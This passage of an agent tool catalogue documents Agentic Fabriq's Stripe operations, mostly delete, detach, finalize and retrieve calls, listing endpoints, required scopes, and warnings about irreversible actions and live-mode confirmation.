stripe_create_customer can make a NEW customer with the same details, but the id, the payment methods, the invoice history and the subscriptions do not come back. POST /api/v1/tools/stripe/delete-customer. Scopes: stripe_write_customers. stripe_delete_customer_bank_account (write, destructive) — DESTRUCTIVE: detach a saved bank account from a customer. If it was the default source, every subscription and invoice that billed to it starts failing at the next cycle, and Agentic Fabriq CANNOT re-add it: attaching a card or bank account requires the raw details, which is refused (E8). The customer has to re-enter them through a checkout or portal flow. Read stripe_get_customer to see the default source before removing anything. Needs confirm_live_mode=true on a live connection. POST /api/v1/tools/stripe/delete-customer-bank-account. Scopes: stripe_write_customers. stripe_delete_customer_card (write, destructive) — DESTRUCTIVE: detach a saved card from a customer. If it was the default source, every subscription and invoice that billed to it starts failing at the next cycle, and Agentic Fabriq CANNOT re-add it: attaching a card or bank account requires the raw details, which is refused (E8). The customer has to re-enter them through a checkout or portal flow. Read stripe_get_customer to see the default source before removing anything. Needs confirm_live_mode=true on a live connection. POST /api/v1/tools/stripe/delete-customer-card. Scopes: stripe_write_customers. stripe_delete_customer_discount (write, destructive) — DESTRUCTIVE. Removes the currently applied discount on a customer. Removes an active coupon from a customer, so the next invoice is at full price. The inverse is stripe_update_customer_subscription (or a new promotion code) applying the coupon again -- the coupon object itself is not deleted. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/delete-customer-discount. Scopes: stripe_write_customers. stripe_delete_customer_source (write, destructive) — DESTRUCTIVE: detach a saved source from a customer. If it was the default source, every subscription and invoice that billed to it starts failing at the next cycle, and Agentic Fabriq CANNOT re-add it: attaching a card or bank account requires the raw details, which is refused (E8). The customer has to re-enter them through a checkout or portal flow. Read stripe_get_customer to see the default source before removing anything. Needs confirm_live_mode=true on a live connection. POST /api/v1/tools/stripe/delete-customer-source. Scopes: stripe_write_customers. stripe_delete_customer_subscription_discount (write, destructive) — DESTRUCTIVE. Removes the currently applied discount on a customer. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/delete-customer-subscription-discount. Scopes: stripe_write_customers. stripe_delete_customer_tax_id (write, destructive) — DESTRUCTIVE. Deletes an existing tax_id object. POST /api/v1/tools/stripe/delete-customer-tax-id. Scopes: stripe_write_customers. stripe_delete_invoice (write, destructive) — DESTRUCTIVE. Permanently deletes a one-off invoice draft. This cannot be undone. Attempts to delete invoices that are no longer in a draft state will fail; once an invoice has been finalized or if an invoice is for a subscription, it must be voided. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/delete-invoice. Scopes: stripe_write_billing. stripe_delete_invoiceitem (write, destructive) — DESTRUCTIVE. Deletes an invoice item, removing it from an invoice. Deleting invoice items is only possible when they're not attached to invoices, or if it's attached to a draft invoice. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/delete-invoiceitem. Scopes: stripe_write_billing. stripe_delete_plan (write, destructive) — DESTRUCTIVE. Deleting plans means new subscribers can't be added. Existing subscribers aren't affected. POST /api/v1/tools/stripe/delete-plan. Scopes: stripe_write_catalog. stripe_delete_product (write, destructive) — DESTRUCTIVE. Delete a product. Deleting a product is only possible if it has no prices associated with it. Additionally, deleting a product with type=good is only possible if it has no SKUs associated with it. POST /api/v1/tools/stripe/delete-product. Scopes: stripe_write_catalog. stripe_delete_product_feature (write) — Deletes the feature attachment to a product POST /api/v1/tools/stripe/delete-product-feature. Scopes: stripe_write_catalog. stripe_delete_subscription_discount (write, destructive) — DESTRUCTIVE. Removes the currently applied discount on a subscription. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/delete-subscription-discount. Scopes: stripe_write_billing. stripe_delete_subscription_item (write, destructive) — DESTRUCTIVE. Deletes an item from the subscription. Removing a subscription item from a subscription will not cancel the subscription. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/delete-subscription-item. Scopes: stripe_write_billing. stripe_delete_terminal_configuration (write, destructive) — DESTRUCTIVE: delete a reader configuration profile. Readers using it fall back to the account default, so tipping prompts and display settings change at every one of them at once. Re-creating the profile does not re-attach the readers. POST /api/v1/tools/stripe/delete-terminal-configuration. Scopes: stripe_write_terminal. stripe_delete_terminal_location (write, destructive) — DESTRUCTIVE: delete a Terminal location. Every reader registered there is orphaned and stops taking payments until it is re-registered against another location -- which needs somebody physically at the device. Re-creating the location does not re-attach the readers. POST /api/v1/tools/stripe/delete-terminal-location. Scopes: stripe_write_terminal. stripe_delete_terminal_reader (write, destructive) — DESTRUCTIVE: de-register a physical reader. The device stops being usable for payments immediately and somebody has to be standing next to it with its registration code to add it back -- stripe_create_terminal_reader needs a code read off the screen, which an agent cannot obtain remotely. POST /api/v1/tools/stripe/delete-terminal-reader. Scopes: stripe_write_terminal. stripe_delete_webhook_endpoint (write, destructive) — DESTRUCTIVE. You can also delete webhook endpoints via the webhook endpoint management page of the Stripe dashboard. Silently breaks whatever integration was consuming that endpoint. Agentic Fabriq cannot recreate it: webhook endpoint creation is not exposed (E1 -- the create response is the only place Stripe ever returns the signing secret). Read stripe_list_webhook_endpoints and record the URL and enabled_events before deleting, then have a human recreate it in the dashboard. POST /api/v1/tools/stripe/delete-webhook-endpoint. Scopes: stripe_write_payments. stripe_detach_payment_method (write, destructive) — DESTRUCTIVE. Detaches a PaymentMethod object from a Customer. Detachment is permanent and irreversible — once detached, a PaymentMethod can no longer be used for payments or re-attached to a Customer. Removes a saved card from a customer, so future invoices and subscriptions on that card will fail. The inverse is stripe_attach_payment_method with the same payment method id, which works as long as the PaymentMethod object still exists. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/detach-payment-method. Scopes: stripe_write_customers. stripe_disconnect_financial_connection_account (write, destructive) — DESTRUCTIVE: sever the link between this account and the customer's bank. Balances, ownership and transactions stop updating immediately, and anything that pays by bank debit from it will start failing. THE UNDO IS NOT AGENTIC FABRIQ'S TO GIVE: reconnecting requires the END USER to authenticate at their bank again in a Financial Connections session, which no action here can trigger on their behalf. Treat it as one-way. POST /api/v1/tools/stripe/disconnect-financial-connection-account. Scopes: stripe_write_banking. stripe_disconnect_linked_account (write, destructive) — DESTRUCTIVE: sever the link between this account and the customer's bank. Balances, ownership and transactions stop updating immediately, and anything that pays by bank debit from it will start failing. THE UNDO IS NOT AGENTIC FABRIQ'S TO GIVE: reconnecting requires the END USER to authenticate at their bank again in a Financial Connections session, which no action here can trigger on their behalf. Treat it as one-way. This is the /linked_accounts spelling of the same Stripe object as stripe_refresh_financial_connection_account. POST /api/v1/tools/stripe/disconnect-linked-account. Scopes: stripe_write_banking. stripe_download_quote_pdf (read) — Download the PDF of a FINALIZED quote. Stripe answers with a file rather than JSON, so Agentic Fabriq returns the content type, the size in bytes and the document base64-encoded, and REFUSES anything over 5 MB rather than pushing a large binary into an agent's context. Only finalized quotes have a PDF. GET /api/v1/tools/stripe/download-quote-pdf. Scopes: stripe_read_billing. stripe_evaluate_payment_for_fraud (write) — Request a Radar API fraud risk score from Stripe for a payment before sending it for external processor authorization. Asks Radar to score a payment. It records an evaluation but changes no money and blocks nothing on its own. POST /api/v1/tools/stripe/evaluate-payment-for-fraud. Scopes: stripe_write_disputes. stripe_expire_billing_credit_grant (write, destructive) — DESTRUCTIVE. Expires a credit grant. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/expire-billing-credit-grant. Scopes: stripe_write_billing. stripe_expire_checkout_session (write, destructive) — DESTRUCTIVE. A Checkout Session can be expired when it is in one of these statuses: open After it expires, a customer can't complete a Checkout Session and customers loading the Checkout Session see a message saying the Checkout Session is expired. Ends an open Checkout Session so its public URL stops accepting payment. Terminal -- an expired session cannot be reopened -- but it is the SAFE direction: Agentic Fabriq exposes no way to create one of these public URLs (E5), only to take one down. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/expire-checkout-session. Scopes: stripe_write_payments. stripe_finalize_invoice (write, destructive) — DESTRUCTIVE. Stripe automatically finalizes drafts before sending and attempting payment on invoices. However, if you'd like to finalize a draft invoice manually, you can do so using this method. Finalizing moves a draft to `open` and makes it real: the number is assigned, the customer can see it, and depending on collection_method Stripe may attempt payment automatically. The inverse is stripe_void_invoice, which is terminal -- so this is the point of no easy return, not the payment. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/finalize-invoice. Scopes: stripe_write_billing. stripe_finalize_quote (write, destructive) — DESTRUCTIVE. Finalizes the quote. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/finalize-quote. Scopes: stripe_write_billing. stripe_find_tax_association (read) — Finds a tax association object by PaymentIntent id. GET /api/v1/tools/stripe/find-tax-association. Scopes: stripe_read_tax. stripe_get_account (read) — Identify the Stripe account this connection authenticates as: its id (acct_…), display name, country, default currency and whether it can accept charges. START HERE. The result carries `stripe_mode`, which is either "test" (a sandbox — no card network is contacted and no money is real) or "live" (real customers, real money). Test-mode and live-mode objects are completely separate, so a live customer id is "not found" to a test connection and vice versa. Every Stripe result carries this field; check it before acting on any amount. GET /api/v1/tools/stripe/account. Scopes: stripe_read_account. stripe_get_account_tax_id (read) — Retrieves an account or customer tax_id object. GET /api/v1/tools/stripe/get-account-tax-id. Scopes: stripe_read_customers. stripe_get_apple_pay_domain (read) — Retrieve an apple pay domain. GET /api/v1/tools/stripe/get-apple-pay-domain. Scopes: stripe_read_payments. stripe_get_application_fee (read) — Retrieves the details of an application fee that your account has collected. The same information is returned when refunding the application fee. GET /api/v1/tools/stripe/get-application-fee. Scopes: stripe_read_connect. stripe_get_application_fee_refund (read) — By default, you can see the 10 most recent refunds stored directly on the application fee object, but you can also retrieve details about a specific refund stored on the application fee. GET /api/v1/tools/stripe/get-application-fee-refund. Scopes: stripe_read_connect. stripe_get_balance (read) — Read the Stripe balance: funds available for payout and funds still pending, listed per currency. Amounts are integers in the currency's SMALLEST UNIT — {"amount": 1250, "currency": "usd"} is $12.50, not $1250. Never present a Stripe amount without dividing by the currency's minor unit. GET /api/v1/tools/stripe/balance. Scopes: stripe_read_account. stripe_get_balance_history_entry (read) — Retrieves the balance transaction with the given ID. Note that this endpoint previously used the path /v1/balance/history/:id. GET /api/v1/tools/stripe/get-balance-history-entry. Scopes: stripe_read_account. stripe_get_balance_settings (read) — Retrieves balance settings for a given connected account. Related guide: Making API calls for connected accounts GET /api/v1/tools/stripe/get-balance-settings. Scopes: stripe_read_account. stripe_get_balance_transaction (read) — Retrieves the balance transaction with the given ID. Note that this endpoint previously used the path /v1/balance/history/:id. GET /api/v1/tools/stripe/get-balance-transaction. Scopes: stripe_read_account. stripe_get_billing_alert (read) — Retrieves a billing alert given an ID GET /api/v1/tools/stripe/get-billing-alert. Scopes: stripe_read_billing. stripe_get_billing_credit_balance_summary (read) — Retrieves the credit balance summary for a customer. POST /api/v1/tools/stripe/get-billing-credit-balance-summary. Scopes: stripe_read_billing. stripe_get_billing_credit_balance_transaction (read) — Retrieves a credit balance transaction. GET /api/v1/tools/stripe/get-billing-credit-balance-transaction. Scopes: stripe_read_billing. stripe_get_billing_credit_grant (read) — Retrieves a credit grant. GET /api/v1/tools/stripe/get-billing-credit-grant. Scopes: stripe_read_billing. stripe_get_billing_meter (read) — Retrieves a billing meter given an ID. GET /api/v1/tools/stripe/get-billing-meter. Scopes: stripe_read_billing. stripe_get_billing_portal_configuration (read) — Retrieves a configuration that describes the functionality of the customer portal. GET /api/v1/tools/stripe/get-billing-portal-configuration. Scopes: stripe_read_billing. stripe_get_charge (read) — Retrieves the details of a charge that has previously been created. Supply the unique charge ID that was returned from your previous request, and Stripe will return the corresponding charge information. The same information is returned when creating or refunding the charge. GET /api/v1/tools/stripe/get-charge. Scopes: stripe_read_payments. stripe_get_charge_dispute (read) — Retrieve a dispute for a specified charge. GET /api/v1/tools/stripe/get-charge-dispute. Scopes: stripe_read_payments. stripe_get_charge_refund (read) — Retrieves the details of an existing refund. GET /api/v1/tools/stripe/get-charge-refund. Scopes: stripe_read_payments. stripe_get_checkout_session (read) — Retrieves a Checkout Session object. GET /api/v1/tools/stripe/get-checkout-session. Scopes: stripe_read_payments. stripe_get_climate_order (read) — Retrieves the details of a Climate order object with the given ID. GET /api/v1/tools/stripe/get-climate-order. Scopes: stripe_read_climate. stripe_get_climate_product (read) — Retrieves the details of a Climate product with the given ID. GET /api/v1/tools/stripe/get-climate-product. Scopes: stripe_read_climate. stripe_get_climate_supplier (read) — Retrieves a Climate supplier object. GET /api/v1/tools/stripe/get-climate-supplier. Scopes: stripe_read_climate. stripe_get_confirmation_token (read) — Retrieves an existing ConfirmationToken object GET /api/v1/tools/stripe/get-confirmation-token. Scopes: stripe_read_payments. stripe_get_connected_account (read) — Retrieves the details of an account. GET /api/v1/tools/stripe/get-connected-account. Scopes: stripe_read_connect. stripe_get_connected_account_bank_account (read) — Retrieve a specified external account for a given account. GET /api/v1/tools/stripe/get-connected-account-bank-account. Scopes: stripe_read_connect. stripe_get_connected_account_capability (read) — Retrieves information about the specified Account Capability. GET /api/v1/tools/stripe/get-connected-account-capability. Scopes: stripe_read_connect. stripe_get_connected_account_external_account (read) — Retrieve a specified external account for a given account. GET /api/v1/tools/stripe/get-connected-account-external-account. Scopes: stripe_read_connect. stripe_get_connected_account_people_alias (read) — Retrieves an existing person. GET /api/v1/tools/stripe/get-connected-account-people-alias. Scopes: stripe_read_connect. stripe_get_connected_account_person (read) — Retrieves an existing person. GET /api/v1/tools/stripe/get-connected-account-person. Scopes: stripe_read_connect. stripe_get_country_spec (read) — Returns a Country Spec for a given Country code. GET /api/v1/tools/stripe/get-country-spec. Scopes: stripe_read_account. stripe_get_coupon (read) — Retrieves the coupon with the given ID. GET /api/v1/tools/stripe/get-coupon. Scopes: stripe_read_catalog. stripe_get_credit_note (read) — Retrieves the credit note object with the given identifier. GET /api/v1/tools/stripe/get-credit-note. Scopes: stripe_read_billing. stripe_get_customer (read) — Get one Stripe customer by id, including email, name, account balance, currency, default payment method and metadata. Get an id from stripe_list_customers — customer ids are not guessable (they look like cus_QxYz123AbCdEf). GET /api/v1/tools/stripe/customer. Scopes: stripe_read_customers. stripe_get_customer_balance_transaction (read) — Retrieves a specific customer balance transaction that updated the customer's balances. GET /api/v1/tools/stripe/get-customer-balance-transaction. Scopes: stripe_read_customers. stripe_get_customer_bank_account (read) — By default, you can see the 10 most recent sources stored on a Customer directly on the object, but you can also retrieve details about a specific bank account stored on the Stripe account. GET /api/v1/tools/stripe/get-customer-bank-account. Scopes: stripe_read_customers. stripe_get_customer_card (read) — You can always see the 10 most recent cards directly on a customer; this method lets you retrieve details about a specific card stored on the customer. GET /api/v1/tools/stripe/get-customer-card. Scopes: stripe_read_customers. stripe_get_customer_cash_balance (read) — Retrieves a customer's cash balance. GET /api/v1/tools/stripe/get-customer-cash-balance. Scopes: stripe_read_customers. stripe_get_customer_cash_balance_transaction (read) — Retrieves a specific cash balance transaction, which updated the customer's cash balance. GET /api/v1/tools/stripe/get-customer-cash-balance-transaction. Scopes: stripe_read_customers. stripe_get_customer_discount (read) — Retrieves the discount currently applied to a customer, if any. Answers "why is this customer being billed less than list price" -- returns the coupon or promotion code behind the reduction, what it takes off, and when it stops applying. A customer with no active discount is not an error; the result is simply empty. Read-only: the inverse of stripe_delete_customer_discount, which is what actually removes it. GET /api/v1/tools/stripe/get-customer-discount. Scopes: stripe_read_customers. stripe_get_customer_payment_method (read) — Retrieves a PaymentMethod object for a given Customer. GET /api/v1/tools/stripe/get-customer-payment-method. Scopes: stripe_read_customers. stripe_get_customer_source (read) — Retrieve a specified source for a given customer. GET /api/v1/tools/stripe/get-customer-source. Scopes: stripe_read_customers. stripe_get_customer_subscription (read) — Retrieves the subscription with the given ID. GET /api/v1/tools/stripe/get-customer-subscription. Scopes: stripe_read_customers. stripe_get_customer_subscription_discount (read) — Retrieves the discount currently applied to one subscription, if any. Distinct from stripe_get_customer_discount: a discount can sit on the CUSTOMER, in which case it reduces every subscription they hold, or on a SINGLE SUBSCRIPTION, in which case it reduces only that one. Reading the customer-level discount will not show you a subscription-level one, so when a single line on an invoice looks wrong this is the call that explains it. A subscription with no discount of its own returns empty rather than erroring. GET /api/v1/tools/stripe/get-customer-subscription-discount. Scopes: stripe_read_customers. stripe_get_customer_tax_id (read) — Retrieves the tax_id object with the given identifier. GET /api/v1/tools/stripe/get-customer-tax-id. Scopes: stripe_read_customers. stripe_get_dispute (read) — Retrieves the dispute with the given ID. evidence_details.due_by (the evidence deadline), reason, and the evidence already submitted are only on this single object, not on the list row. Read it before touching stripe_update_dispute. GET /api/v1/tools/stripe/get-dispute. Scopes: stripe_read_disputes. stripe_get_entitlement_active_entitlement (read) — Retrieve an active entitlement GET /api/v1/tools/stripe/get-entitlement-active-entitlement. Scopes: stripe_read_billing. stripe_get_entitlement_feature (read) — Retrieves one entitlement feature by id -- its name, its permanent lookup_key, and whether it is still active. Answers "does this capability exist and what is it called" before attaching it to a product or checking a customer's entitlements. Read-only. GET /api/v1/tools/stripe/get-entitlement-feature. Scopes: stripe_read_billing. stripe_get_event (read) — Retrieves the details of an event if it was created in the last 30 days. Supply the unique identifier of the event, which you might have received in a webhook. GET /api/v1/tools/stripe/get-event. Scopes: stripe_read_events. stripe_get_exchange_rate (read) — [Deprecated] The ExchangeRate APIs are deprecated. Please use the FX Quotes API instead. Retrieves the exchange rates from the given currency to every supported currency. GET /api/v1/tools/stripe/get-exchange-rate. Scopes: stripe_read_account. stripe_get_file (read) — Retrieves the details of an existing file object. After you supply a unique file ID, Stripe returns the corresponding file object. Learn how to access file contents. GET /api/v1/tools/stripe/get-file. Scopes: stripe_read_files. stripe_get_file_link (read) — Retrieves the file link with the given ID. GET /api/v1/tools/stripe/get-file-link. Scopes: stripe_read_files. stripe_get_financial_connection_account (read) — Retrieves the details of an Financial Connections Account. GET /api/v1/tools/stripe/get-financial-connection-account. Scopes: stripe_read_banking. stripe_get_financial_connection_session (read) — Retrieves the details of a Financial Connections Session GET /api/v1/tools/stripe/get-financial-connection-session. Scopes: stripe_read_banking. stripe_get_financial_connection_transaction (read) — Retrieves the details of a Financial Connections Transaction GET /api/v1/tools/stripe/get-financial-connection-transaction. Scopes: stripe_read_banking. stripe_get_forwarding_request (read) — Retrieves a ForwardingRequest object. GET /api/v1/tools/stripe/get-forwarding-request. Scopes: stripe_read_payments. stripe_get_identity_verification_report (read) — Retrieves an existing VerificationReport GET /api/v1/tools/stripe/get-identity-verification-report. Scopes: stripe_read_identity. stripe_get_identity_verification_session (read) — Retrieves the details of a VerificationSession that was previously created. When the session status is requires_input, you can use this method to retrieve a valid client_secret or url to allow re-submission. GET /api/v1/tools/stripe/get-identity-verification-session. Scopes: stripe_read_identity. stripe_get_invoice (read) — Retrieves the invoice with the given ID. hosted_invoice_url, invoice_pdf, attempt_count and the last payment failure reason are on this single object, not on the stripe_list_invoices row. GET /api/v1/tools/stripe/get-invoice. Scopes: stripe_read_billing. stripe_get_invoice_payment (read) — Retrieves the invoice payment with the given ID. GET /api/v1/tools/stripe/get-invoice-payment. Scopes: stripe_read_billing. stripe_get_invoice_rendering_template (read) — Retrieves an invoice rendering template with the given ID. It by default returns the latest version of the template. Optionally, specify a version to see previous versions. GET /api/v1/tools/stripe/get-invoice-rendering-template. Scopes: stripe_read_billing. stripe_get_invoiceitem (read) — Retrieves the invoice item with the given ID. GET /api/v1/tools/stripe/get-invoiceitem. Scopes: stripe_read_billing. stripe_get_issuing_authorization (read) — Retrieves an Issuing Authorization object. GET /api/v1/tools/stripe/get-issuing-authorization. Scopes: stripe_read_issuing. stripe_get_issuing_card (read) — Retrieves an Issuing Card object. GET /api/v1/tools/stripe/get-issuing-card. Scopes: stripe_read_issuing. stripe_get_issuing_cardholder (read) — Retrieves an Issuing Cardholder object. GET /api/v1/tools/stripe/get-issuing-cardholder. Scopes: stripe_read_issuing. stripe_get_issuing_dispute (read) — Retrieves an Issuing Dispute object. GET /api/v1/tools/stripe/get-issuing-dispute. Scopes: stripe_read_issuing. stripe_get_issuing_personalization_design (read) — Retrieves a personalization design object. GET /api/v1/tools/stripe/get-issuing-personalization-design. Scopes: stripe_read_issuing. stripe_get_issuing_physical_bundle (read) — Retrieves a physical bundle object. GET /api/v1/tools/stripe/get-issuing-physical-bundle. Scopes: stripe_read_issuing. stripe_get_issuing_settlement (read) — Retrieves an Issuing Settlement object. GET /api/v1/tools/stripe/get-issuing-settlement. Scopes: stripe_read_issuing. stripe_get_issuing_token (read) — Retrieves an Issuing Token object. GET /api/v1/tools/stripe/get-issuing-token. Scopes: stripe_read_issuing. stripe_get_issuing_transaction (read) — Retrieves an Issuing Transaction object. GET /api/v1/tools/stripe/get-issuing-transaction. Scopes: stripe_read_issuing. stripe_get_link_account_session (read) — Retrieves the details of a Financial Connections Session GET /api/v1/tools/stripe/get-link-account-session. Scopes: stripe_read_banking. stripe_get_linked_account (read) — Retrieves the details of an Financial Connections Account. GET /api/v1/tools/stripe/get-linked-account. Scopes: stripe_read_banking. stripe_get_mandate (read) — Retrieves a Mandate object. GET /api/v1/tools/stripe/get-mandate. Scopes: stripe_read_customers. stripe_get_payment_attempt_record (read) — Retrieves a Payment Attempt Record with the given ID GET /api/v1/tools/stripe/get-payment-attempt-record. Scopes: stripe_read_payments. stripe_get_payment_intent (read) — Get one PaymentIntent by id, including amount, currency, status, the last payment error if it failed, and the charge it produced. Use `latest_charge` from the result as the charge id for a refund. GET /api/v1/tools/stripe/payment-intent. Scopes: stripe_read_payments. stripe_get_payment_link (read) — Retrieve a payment link. GET /api/v1/tools/stripe/get-payment-link. Scopes: stripe_read_payments. stripe_get_payment_method (read) — Retrieves a PaymentMethod object attached to the StripeAccount. To retrieve a payment method attached to a Customer, you should use Retrieve a Customer's PaymentMethods GET /api/v1/tools/stripe/get-payment-method. Scopes: stripe_read_customers. stripe_get_payment_method_configuration (read) — Retrieve payment method configuration GET /api/v1/tools/stripe/get-payment-method-configuration. Scopes: stripe_read_payments. stripe_get_payment_method_domain (read) — Retrieves the details of an existing payment method domain. GET /api/v1/tools/stripe/get-payment-method-domain. Scopes: stripe_read_payments. stripe_get_payment_record (read) — Retrieves a Payment Record with the given ID GET /api/v1/tools/stripe/get-payment-record. Scopes: stripe_read_payments. stripe_get_payout (read) — Retrieves the details of an existing payout. Supply the unique payout ID from either a payout creation request or the payout list. Stripe returns the corresponding payout information. GET /api/v1/tools/stripe/get-payout. Scopes: stripe_read_account. stripe_get_plan (read) — Retrieves the plan with the given ID. GET /api/v1/tools/stripe/get-plan. Scopes: stripe_read_catalog. stripe_get_price (read) — Retrieves the price with the given ID. GET /api/v1/tools/stripe/get-price. Scopes: stripe_read_catalog. stripe_get_product (read) — Retrieves the details of an existing product. Supply the unique product ID from either a product creation request or the product list, and Stripe will return the corresponding product information. GET /api/v1/tools/stripe/get-product. Scopes: stripe_read_catalog. stripe_get_product_feature (read) — Retrieves a product_feature, which represents a feature attachment to a product GET /api/v1/tools/stripe/get-product-feature. Scopes: stripe_read_catalog. stripe_get_promotion_code (read) — Retrieves the promotion code with the given ID. In order to retrieve a promotion code by the customer-facing code use list with the desired code. GET /api/v1/tools/stripe/get-promotion-code. Scopes: stripe_read_catalog. stripe_get_quote (read) — Retrieves the quote with the given ID. GET /api/v1/tools/stripe/get-quote. Scopes: stripe_read_billing. stripe_get_radar_early_fraud_warning (read) — Retrieves the details of an early fraud warning that has previously been created. Please refer to the early fraud warning object reference for more details. GET /api/v1/tools/stripe/get-radar-early-fraud-warning. Scopes: stripe_read_disputes. stripe_get_radar_value_list (read) — Retrieves a ValueList object. GET /api/v1/tools/stripe/get-radar-value-list. Scopes: stripe_read_disputes. stripe_get_radar_value_list_item (read) — Retrieves a ValueListItem object. GET /api/v1/tools/stripe/get-radar-value-list-item. Scopes: stripe_read_disputes. stripe_get_refund (read) — Retrieves the details of an existing refund. GET /api/v1/tools/stripe/get-refund. Scopes: stripe_read_payments. stripe_get_reporting_report_run (read) — Retrieves the details of an existing Report Run. GET /api/v1/tools/stripe/get-reporting-report-run. Scopes: stripe_read_events. stripe_get_reporting_report_type (read) — Retrieves the details of a Report Type. (Certain report types require a live-mode API key.) GET /api/v1/tools/stripe/get-reporting-report-type. Scopes: stripe_read_events. stripe_get_review (read) — Retrieves a Review object. GET /api/v1/tools/stripe/get-review. Scopes: stripe_read_disputes. stripe_get_setup_intent (read) — Retrieves the details of a SetupIntent that has previously been created. Client-side retrieval using a publishable key is allowed when the client_secret is provided in the query string. When retrieved with a publishable key, only a subset of properties will be returned. Please refer to the SetupIntent object reference for more details. GET /api/v1/tools/stripe/get-setup-intent. Scopes: stripe_read_customers. stripe_get_shipping_rate (read) — Returns the shipping rate object with the given ID. GET /api/v1/tools/stripe/get-shipping-rate. Scopes: stripe_read_catalog. stripe_get_sigma_scheduled_query_run (read) — Retrieves the details of an scheduled query run. GET /api/v1/tools/stripe/get-sigma-scheduled-query-run. Scopes: stripe_read_events. stripe_get_source (read) — Retrieves an existing source object. Supply the unique source ID from a source creation request and Stripe will return the corresponding up-to-date source object information. GET /api/v1/tools/stripe/get-source. Scopes: stripe_read_customers. stripe_get_source_mandate_notification (read) — Retrieves a new Source MandateNotification. GET /api/v1/tools/stripe/get-source-mandate-notification. Scopes: stripe_read_customers. stripe_get_source_transaction (read) — Retrieve an existing source transaction object. Supply the unique source ID from a source creation request and the source transaction ID and Stripe will return the corresponding up-to-date source object information. GET /api/v1/tools/stripe/get-source-transaction. Scopes: stripe_read_customers. stripe_get_subscription (read) — Retrieves the subscription with the given ID. Read this BETWEEN finding a subscription and cancelling it: the list row does not carry the full item set, the current period end or pause_collection, and cancelling off a stale list row is how the wrong subscription gets stopped. GET /api/v1/tools/stripe/get-subscription. Scopes: stripe_read_billing. stripe_get_subscription_item (read) — Retrieves the subscription item with the given ID. GET /api/v1/tools/stripe/get-subscription-item. Scopes: stripe_read_billing. stripe_get_subscription_schedule (read) — Retrieves the details of an existing subscription schedule. You only need to supply the unique subscription schedule identifier that was returned upon subscription schedule creation. GET /api/v1/tools/stripe/get-subscription-schedule. Scopes: stripe_read_billing. stripe_get_tax_calculation (read) — Retrieves a Tax Calculation object, if the calculation hasn't expired. GET /api/v1/tools/stripe/get-tax-calculation. Scopes: stripe_read_tax. stripe_get_tax_code (read) — Retrieves the details of an existing tax code. Supply the unique tax code ID and Stripe will return the corresponding tax code information. GET /api/v1/tools/stripe/get-tax-code. Scopes: stripe_read_catalog. stripe_get_tax_rate (read) — Retrieves a tax rate with the given ID GET /api/v1/tools/stripe/get-tax-rate. Scopes: stripe_read_catalog. stripe_get_tax_registration (read) — Returns a Tax Registration object. GET /api/v1/tools/stripe/get-tax-registration. Scopes: stripe_read_tax. stripe_get_tax_settings (read) — Retrieves Tax Settings for a merchant. GET /api/v1/tools/stripe/get-tax-settings. Scopes: stripe_read_tax. stripe_get_tax_transaction (read) — Retrieves a Tax Transaction object. GET /api/v1/tools/stripe/get-tax-transaction. Scopes: stripe_read_tax. stripe_get_terminal_configuration (read) — Retrieves a Configuration object. GET /api/v1/tools/stripe/get-terminal-configuration. Scopes: stripe_read_terminal. stripe_get_terminal_location (read) — Retrieves a Location object. GET /api/v1/tools/stripe/get-terminal-location. Scopes: stripe_read_terminal. stripe_get_terminal_reader (read) — Retrieves a Reader object. GET /api/v1/tools/stripe/get-terminal-reader. Scopes: stripe_read_terminal. stripe_get_token (read) — Retrieves the token with the given ID. Returns the token's card metadata -- brand, last4, expiry, country -- never the card number. Agentic Fabriq does not expose token CREATION (E8: it would require a raw card number in the agent's prompt). GET /api/v1/tools/stripe/get-token. Scopes: stripe_read_customers. stripe_get_topup (read) — Retrieves the details of a top-up that has previously been created. Supply the unique top-up ID that was returned from your previous request, and Stripe will return the corresponding top-up information. GET /api/v1/tools/stripe/get-topup. Scopes: stripe_read_account. stripe_get_transfer (read) — Retrieves the details of an existing transfer. Supply the unique transfer ID from either a transfer creation request or the transfer list, and Stripe will return the corresponding transfer information. GET /api/v1/tools/stripe/get-transfer. Scopes: stripe_read_connect. stripe_get_transfer_reversal (read) — By default, you can see the 10 most recent reversals stored directly on the transfer object, but you can also retrieve details about a specific reversal stored on the transfer. GET /api/v1/tools/stripe/get-transfer-reversal. Scopes: stripe_read_connect. stripe_get_treasury_credit_reversal (read) — Retrieves the details of an existing CreditReversal by passing the unique CreditReversal ID from either the CreditReversal creation request or CreditReversal list GET /api/v1/tools/stripe/get-treasury-credit-reversal. Scopes: stripe_read_treasury. stripe_get_treasury_debit_reversal (read) — Retrieves a DebitReversal object. GET /api/v1/tools/stripe/get-treasury-debit-reversal. Scopes: stripe_read_treasury. stripe_get_treasury_financial_account (read) — Retrieves the details of a FinancialAccount. GET /api/v1/tools/stripe/get-treasury-financial-account. Scopes: stripe_read_treasury. stripe_get_treasury_financial_account_features (read) — Retrieves Features information associated with the FinancialAccount. GET /api/v1/tools/stripe/get-treasury-financial-account-features. Scopes: stripe_read_treasury. stripe_get_treasury_inbound_transfer (read) — Retrieves the details of an existing 